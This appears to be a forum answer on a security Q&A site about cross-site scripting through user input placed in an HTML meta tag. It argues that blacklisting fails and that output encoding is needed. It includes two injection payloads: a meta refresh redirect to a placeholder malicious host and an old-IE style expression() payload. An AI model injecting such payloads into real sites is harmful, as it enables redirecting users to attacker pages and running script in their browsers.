I definitely agree with thexacre about the ineffectiveness of blacklisting -- and not just because the answer referenced my website :).
Not being able to get rid of the beginning content portion can certainly limit the opportunity for successful XSS via a meta tag, though it's not entirely impossible. For example, if the beginning portion ever changes to begin with a non-numeric word such as "No results for..." you might be able to inject something like:
;url=hxxp://www.maliciousxss.com" HTTP-EQUIV="refresh" blah="
which, based on your description should result in a meta tag similar to:
<meta property="the:property" content="No results for;url=hxxp://www.maliciousxss.com" HTTP-EQUIV="refresh" blah=" (Page 1)" />
I successfully tested it in FF 29.0.1 but I don't believe this would work in any other modern browser.
If the beginning text always starts with a number you could try something like
" STYLE="width:expression(alert('XSS'));" blah="
which again based on your example should result in a meta tag similar to:
<meta property="the:property" content="100 results for" STYLE="width:expression(alert('XSS'));" blah=" (Page 1)" />
This one would only work in IE 7 or earlier so it's even more limited.
I had to make some assumptions of site behavior and additional input validation so these particular examples may not work, but I hope I've helped support thexacre's statement that blacklisting is rarely a completely effective approach. Whitelisting (when possible) is better but output encoding is always a must whenever user-generated data is incorporated in the server response.